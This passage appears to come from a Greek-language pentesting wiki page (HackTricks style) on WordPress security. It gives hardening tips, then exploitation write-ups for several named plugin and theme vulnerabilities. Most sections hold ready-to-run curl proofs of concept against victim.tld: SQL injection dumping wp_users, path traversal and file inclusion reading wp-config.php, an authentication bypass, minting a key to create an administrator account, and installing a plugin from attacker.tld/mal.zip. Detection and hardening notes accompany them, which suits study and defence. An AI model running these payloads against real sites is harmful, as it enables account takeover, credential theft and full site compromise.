- Μην βασίζεστε σε γενικές υπογραφές WAF για να προστατέψετε plugin CVEs. Εφαρμόστε virtual patches σε επίπεδο εφαρμογής ειδικά για την ευπάθεια ή ενημερώστε άμεσα.
- Προτιμήστε positive-security checks στον κώδικα (capabilities, nonces, strict input validation) αντί για αρνητικά regex φίλτρα.
WordPress Protection
Τακτικές ενημερώσεις
Βεβαιωθείτε ότι το WordPress, τα plugins και τα themes είναι ενημερωμένα. Επίσης επιβεβαιώστε ότι η αυτόματη ενημέρωση είναι ενεργοποιημένη στο wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Εγκαταστήστε μόνο αξιόπιστα WordPress plugins και themes.
Πρόσθετα Ασφαλείας
Άλλες Συστάσεις
- Αφαιρέστε τον προεπιλεγμένο χρήστη admin
- Χρησιμοποιήστε ισχυρούς κωδικούς και 2FA
- Περιοδικά ελέγχετε τα δικαιώματα των χρηστών
- Περιορίστε τις προσπάθειες σύνδεσης για να αποτρέψετε επιθέσεις Brute Force
- Μετονομάστε το αρχείο
wp-admin.php
και επιτρέψτε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες διευθύνσεις IP.
Μη αυθεντικοποιημένο SQL Injection λόγω ανεπαρκούς επικύρωσης (WP Job Portal <= 2.3.2)
Το WP Job Portal recruitment plugin αποκάλυπτε μια εργασία savecategory που τελικά εκτελεί τον ακόλουθο ευάλωτο κώδικα μέσα στο modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Issues introduced by this snippet:
- Μη-καθαρισμένη είσοδος χρήστη –
parentid
προέρχεται απευθείας από το HTTP αίτημα. - Συγκόλληση συμβολοσειρών μέσα στο WHERE clause – δεν χρησιμοποιείται
is_numeric()
/esc_sql()
/ prepared statement. - Προσβασιμότητα χωρίς ταυτοποίηση – παρόλο που η ενέργεια εκτελείται μέσω
admin-post.php
, ο μόνος έλεγχος που υπάρχει είναι ένα CSRF nonce (wp_verify_nonce()
), το οποίο οποιοσδήποτε επισκέπτης μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode[wpjobportal_my_resumes]
.
Εκμετάλλευση
- Πάρε ένα νέο nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Εισήγαγε αυθαίρετο SQL εκμεταλλευόμενος το
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Η απόκριση αποκαλύπτει το αποτέλεσμα του εισαγόμενου query ή τροποποιεί τη βάση δεδομένων, αποδεικνύοντας SQLi.
Μη-εξουσιοδοτημένο Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Μια ακόμα εργασία, downloadcustomfile, επέτρεπε σε επισκέπτες να κατεβάσουν οποιοδήποτε αρχείο στον δίσκο μέσω path traversal. Το ευάλωτο sink βρίσκεται στο modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
ελέγχεται από attacker και συνενώνεται χωρίς καθαρισμό. Ξανά, το μόνο εμπόδιο είναι ένα CSRF nonce που μπορεί να ανακτηθεί από τη σελίδα resume.
Εκμετάλλευση
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Ο διακομιστής απαντά με τα περιεχόμενα του wp-config.php
, leaking DB credentials and auth keys.
Αναλήψη λογαριασμού χωρίς πιστοποίηση μέσω Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Πολλά themes/plugins περιλαμβάνουν "social login" βοηθήματα που εκτίθενται μέσω admin-ajax.php. Εάν μια μη-πιστοποιημένη AJAX ενέργεια (wp_ajax_nopriv_...) εμπιστεύεται τα identifiers που παρέχονται από τον client όταν λείπουν τα δεδομένα του provider και στη συνέχεια καλεί wp_set_auth_cookie(), αυτό γίνεται πλήρης παράκαμψη αυθεντικοποίησης.
Τυπικό ελαττωματικό μοτίβο (απλοποιημένο)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Γιατί είναι εκμεταλλεύσιμο
- Πρόσβαση χωρίς αυθεντικοποίηση μέσω admin-ajax.php (ενέργεια wp_ajax_nopriv_…).
- Δεν υπάρχουν έλεγχοι nonce/capability πριν από αλλαγή κατάστασης.
- Λείπει η επαλήθευση του OAuth/OpenID provider· το προεπιλεγμένο branch δέχεται είσοδο από τον επιτιθέμενο.
- get_user_by('email', $_POST['id']) ακολουθούμενη από wp_set_auth_cookie($uid) αυθεντικοποιεί τον αιτούντα ως οποιαδήποτε υπάρχουσα διεύθυνση email.
Εκμετάλλευση (χωρίς αυθεντικοποίηση)
- Προαπαιτούμενα: ο επιτιθέμενος μπορεί να προσεγγίσει /wp-admin/admin-ajax.php και γνωρίζει/μαντεύει ένα έγκυρο email χρήστη.
- Ορίστε provider σε μια μη-υποστηριζόμενη τιμή (ή παραλείψτε το) για να φτάσετε στο προεπιλεγμένο branch και να περάσετε id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
Finding the action name
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
Detection checklist
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=
. - 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
Hardening
- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.
Patched behaviour (Jobmonster 4.8.0)
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
Αναβάθμιση προνομίων χωρίς αυθεντικοποίηση μέσω δημιουργίας REST token/κλειδιού πάνω σε προβλέψιμη ταυτότητα (OttoKit/SureTriggers ≤ 1.0.82)
Κάποια plugins εκθέτουν REST endpoints που δημιουργούν επαναχρησιμοποιήσιμα “connection keys” ή tokens χωρίς να επαληθεύουν τις δυνατότητες (capabilities) του καλούντος. Εάν το route πραγματοποιεί authentication μόνο βάσει ενός προβλέψιμου/μπορούμενου να μαντέψουμε χαρακτηριστικού (π.χ. username) και δεν δεσμεύει το κλειδί σε user/session με έλεγχο δικαιωμάτων, οποιοσδήποτε μη-αυθεντικοποιημένος επιτιθέμενος μπορεί να δημιουργήσει ένα κλειδί και να καλέσει προνομιούχες ενέργειες (π.χ. δημιουργία admin account, plugin actions → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC – mint a connection key and use it
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Why it’s exploitable
- Ευαίσθητο REST route προστατευμένο μόνο από low-entropy απόδειξη ταυτότητας (username) ή με έλλειψη permission_callback
- Δεν υπάρχει επιβολή capability; το minted key γίνεται αποδεκτό ως καθολική παράκαμψη
Detection checklist
- Κάντε grep στον κώδικα του plugin για register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Οποιοδήποτε route που εκδίδει tokens/keys με βάση identity που παρέχεται στο request (username/email) χωρίς σύνδεση με authenticated user ή capability
- Αναζητήστε μετέπειτα routes που αποδέχονται το minted token/key χωρίς server-side ελέγχους capability
Hardening
- Για οποιοδήποτε privileged REST route: απαιτήστε permission_callback που επιβάλει current_user_can() για την απαιτούμενη capability
- Μην εκδίδετε long-lived keys από client-supplied identity; αν χρειάζεται, εκδώστε short-lived, user-bound tokens μετά από authentication και ελέγξτε ξανά τις capabilities κατά τη χρήση
- Επικυρώστε το user context του καλούντα (wp_set_current_user is not sufficient alone) και απορρίψτε requests όπου !is_user_logged_in() || !current_user_can(
)
Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
Nonce αποτρέπουν CSRF, όχι authorization. Εάν ο κώδικας χειρίζεται το πέρασμα ενός nonce ως πράσινο φως και στη συνέχεια παραλείπει τους ελέγχους capability για privileged operations (π.χ., install/activate plugins), μη-επαληθευμένοι επιτιθέμενοι μπορούν να ικανοποιήσουν μια αδύναμη απαίτηση nonce και να φτάσουν σε RCE εγκαθιστώντας ένα backdoored ή ευάλωτο plugin.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (shape depends on plugin; illustrative only)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Detection checklist
- REST/AJAX handlers που τροποποιούν plugins/themes και χρησιμοποιούν μόνο wp_verify_nonce()/check_admin_referer() χωρίς capability check
- Οποιοδήποτε code path που θέτει $skip_caps = true μετά από nonce validation
Hardening
- Πάντα θεωρείτε τα nonces μόνο ως CSRF tokens· επιβάλλετε capability checks ανεξαρτήτως της κατάστασης του nonce
- Απαιτήστε current_user_can('install_plugins') και current_user_can('activate_plugins') πριν από τον installer code
- Απορρίψτε μη αυθεντικοποιημένη πρόσβαση· αποφύγετε την έκθεση nopriv AJAX actions για privileged flows
Μη αυθεντικοποιημένο SQLi μέσω της παραμέτρου s (search) στις depicter-* actions (Depicter Slider ≤ 3.6.1)
Πολλές depicter-* actions κατανάλωσαν την παράμετρο s (search) και τη συνέδεσαν σε SQL queries χωρίς παραμετροποίηση.
- Parameter: s (search)
- Flaw: άμεση σύνδεση συμβολοσειρών σε WHERE/LIKE clauses; δεν χρησιμοποιήθηκαν prepared statements ή sanitization
- Impact: database exfiltration (users, hashes), lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Ψάξτε με grep για depicter-* action handlers και για απευθείας χρήση του $_GET['s'] ή του $_POST['s'] στο SQL
- Ελέγξτε τα custom queries που περνιούνται στο $wpdb->get_results()/query() όπου γίνεται concatenation με το s
Hardening
- Χρησιμοποιείτε πάντα $wpdb->prepare() ή wpdb placeholders· απορρίπτετε μη αναμενόμενους metacharacters στο server-side
- Προσθέστε αυστηρή allowlist για το s και κανονικοποιήστε στο αναμενόμενο charset/length
Unauthenticated Local File Inclusion μέσω μη-επικυρωμένης διαδρομής template/file (Kubio AI Page Builder ≤ 2.5.1)
Η αποδοχή attacker-controlled διαδρομών σε ένα template parameter χωρίς normalization/containment επιτρέπει την ανάγνωση αυθαίρετων τοπικών αρχείων, και μερικές φορές εκτέλεση κώδικα αν includable PHP/log αρχεία φορτωθούν στη runtime.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: χωρίς normalization/allowlisting; επιτρέπεται traversal
- Impact: αποκάλυψη secret (wp-config.php), πιθανό RCE σε συγκεκριμένα περιβάλλοντα (log poisoning, includable PHP)
PoC – ανάγνωση wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Detection checklist
- Any handler concatenating request paths into include()/require()/read sinks without realpath() containment
- Look for traversal patterns (../) reaching outside the intended templates directory
Hardening
- Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base))
- Normalize input; reject traversal sequences and absolute paths; use sanitize_file_name() only for filenames (not full paths)
Αναφορές
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Πολλαπλές κρίσιμες ευπάθειες επιδιορθώθηκαν στο WP Job Portal Plugin
- Σπάνια περίπτωση Privilege Escalation στο ASE Plugin που επηρέασε 100k+ sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Έλεγχος ασφάλειας hosting: 87.8% των vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers εκμεταλλεύονται κρίσιμο WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Οι πιο εκμεταλλευμένες ευπάθειες WordPress του Q3 2025 και πώς το RapidMitigate τις μπλόκαρε
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.